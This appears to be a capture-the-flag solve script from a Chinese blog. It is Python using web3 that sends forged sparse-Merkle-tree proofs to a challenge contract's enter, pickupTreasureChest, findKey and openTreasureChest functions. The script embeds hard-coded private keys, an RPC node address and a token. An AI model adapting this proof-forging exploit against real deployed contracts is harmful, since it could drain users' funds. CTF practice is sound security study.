"""[+] deployer account: 0x896b065BF51D3c1E82D7f1Db92f87157a86993BC[+] contract address: 0x7698Eb652e7359556330431f4f7D5B582595a5ae[+] token: v4.local.saIiTbj_e98KOdk0gq9s1a2YJnFt-8gJLZQaMS-rcR6T3FneKdrQG8kfE3YA4J3qMQcfgbMgFKNBo2SJeL0c1WcX1XmpVulRhPSAp4zNLx60d29a_w-B0wpvSn0zMz5WwCXLTCGZXcF3MP2zWOMGJFEUhjge3F4UbgVK-yGE3uPa2g"""from web3 import Web3,HTTPProviderfrom Crypto.Util.number import *web3=Web3(HTTPProvider("http://123.60.45.88:8545/"))print(web3.isConnected())acct1= web3.eth.account.from_key('0xeadb4caca8d0088121549f2bf8ee0f6ee517110b4cfe36e3b655f85dfc035c1e')acct2= web3.eth.account.from_key('0x00a6d7a2ee9220ae82d3dfbb9f4eb471bd8eacf80c31926855b5352866f8f5ee')acct3=web3.eth.account.from_key('0x176e21af92fbfc31568f443b64922a630d0b27137c3e3c63c6aa6df2e9ee4b3f')acct4=web3.eth.account.from_key('0x439ee9ada9f2991ecd3c4b1b2613b0d7f9eb08fefae687f14475105c1658da23')tmp=(web3.eth.account.create())print(tmp.address)def deploy(rawTx,acct): signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey) hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex() receipt = web3.eth.waitForTransactionReceipt(hashTx) print(receipt) return receiptabi="""[ { "inputs": [ { "internalType": "bytes32[]", "name": "_proofs", "type": "bytes32[]" } ], "name": "enter", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes32[]", "name": "_proofs", "type": "bytes32[]" } ], "name": "findKey", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes32[]", "name": "_proofs", "type": "bytes32[]" } ], "name": "leave", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "_from", "type": "address" } ], "name": "FindKey", "type": "event" }, { "inputs": [], "name": "openTreasureChest", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "_from", "type": "address" } ], "name": "OpenTreasureChest", "type": "event" }, { "inputs": [ { "internalType": "bytes32[]", "name": "_proofs", "type": "bytes32[]" } ], "name": "pickupTreasureChest", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "_from", "type": "address" } ], "name": "PickupTreasureChest", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "haveKey", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "haveTreasureChest", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "isSolved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "root", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "smtMode", "outputs": [ { "internalType": "enum SMT.Mode", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "solved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }]"""contract_address='0x6CC5804bb2a8FeBbE9b1babd7c3Bcc93735F5A81'contract=web3.eth.contract(abi=abi,address=contract_address)def to_bytes32(a: int) -> bytes: return a.to_bytes(32, 'big')def change_it(a): tmp=[] for i in a: tmp.append(to_bytes32(int(i,16))) return tmpif __name__ == '__main__': data1=["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c", "0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] data2=["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009a", "0x423b9e9e1b3a1cfbd4c7d075391785c44def9c2884281cc63e0a78fcc3bb7f66", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] data3=["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009e", "0x4e951b5440112027d135d0f1dc97bff8127bec7439f8a54ff6a6b6a164764c64", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] data4=["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009e", "0x4b3f7ee71efd14747b6620f1919bcdc78724d8a862e987596a1179a6b460be05", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] data5=["0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c", "0xe9f810898db8dc62342eaa122fd26525362f2b70bd462edef6e4e34093d66c17", "0x000000000000000000000000000000000000000000000000000000000000004c", "0x0000000000000000000000000000000000000000000000000000000000000048", "0x000000000000000000000000000000000000000000000000000000000000009a", "0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048", "0x000000000000000000000000000000000000000000000000000000000000009e","0x0000000000000000000000000000000000000000000000000000000000000050","0x000000000000000000000000000000000000000000000000000000000000009f","0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] data6=["0x000000000000000000000000000000000000000000000000000000000000004c","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048", "0x000000000000000000000000000000000000000000000000000000000000009a", "0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x000000000000000000000000000000000000000000000000000000000000004c","0x0000000000000000000000000000000000000000000000000000000000000048","0x000000000000000000000000000000000000000000000000000000000000009e","0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009c", "0x03f38c848024ba3006373acb4175da682ce9d4e1ade10e0472919f30f664b1e4", "0x0000000000000000000000000000000000000000000000000000000000000050", "0x000000000000000000000000000000000000000000000000000000000000009f", "0xba13a52ab72064627701ac75ab564f7e786d093c655849458536cc689abdf8e2"] final1=change_it(data1) final2 = change_it(data2) final3 = change_it(data3) final4 = change_it(data4) final5 = change_it(data5) final6 = change_it(data6) enter_txn1 = contract.functions.enter(final1).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct1.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct1.signTransaction(enter_txn1) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) enter_txn2 = contract.functions.enter(final2).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct2.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct2.signTransaction(enter_txn2) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) enter_txn3 = contract.functions.enter(final3).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct3.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct3.signTransaction(enter_txn3) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) enter_txn4 = contract.functions.enter(final4).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct4.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct4.signTransaction(enter_txn4) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) pickupTreasureChest_txn = contract.functions.pickupTreasureChest(final5).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct4.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct4.signTransaction(pickupTreasureChest_txn) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) findKey_txn = contract.functions.findKey(final6).buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct4.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct4.signTransaction(findKey_txn) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) openTreasureChest_txn = contract.functions.openTreasureChest().buildTransaction({ 'nonce': web3.eth.getTransactionCount(acct4.address), 'gas': 300000, 'gasPrice': web3.eth.gasPrice }) signed = acct4.signTransaction(openTreasureChest_txn) tx_id = web3.eth.sendRawTransaction(signed.rawTransaction) rec=web3.eth.waitForTransactionReceipt(tx_id) print(rec) |
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论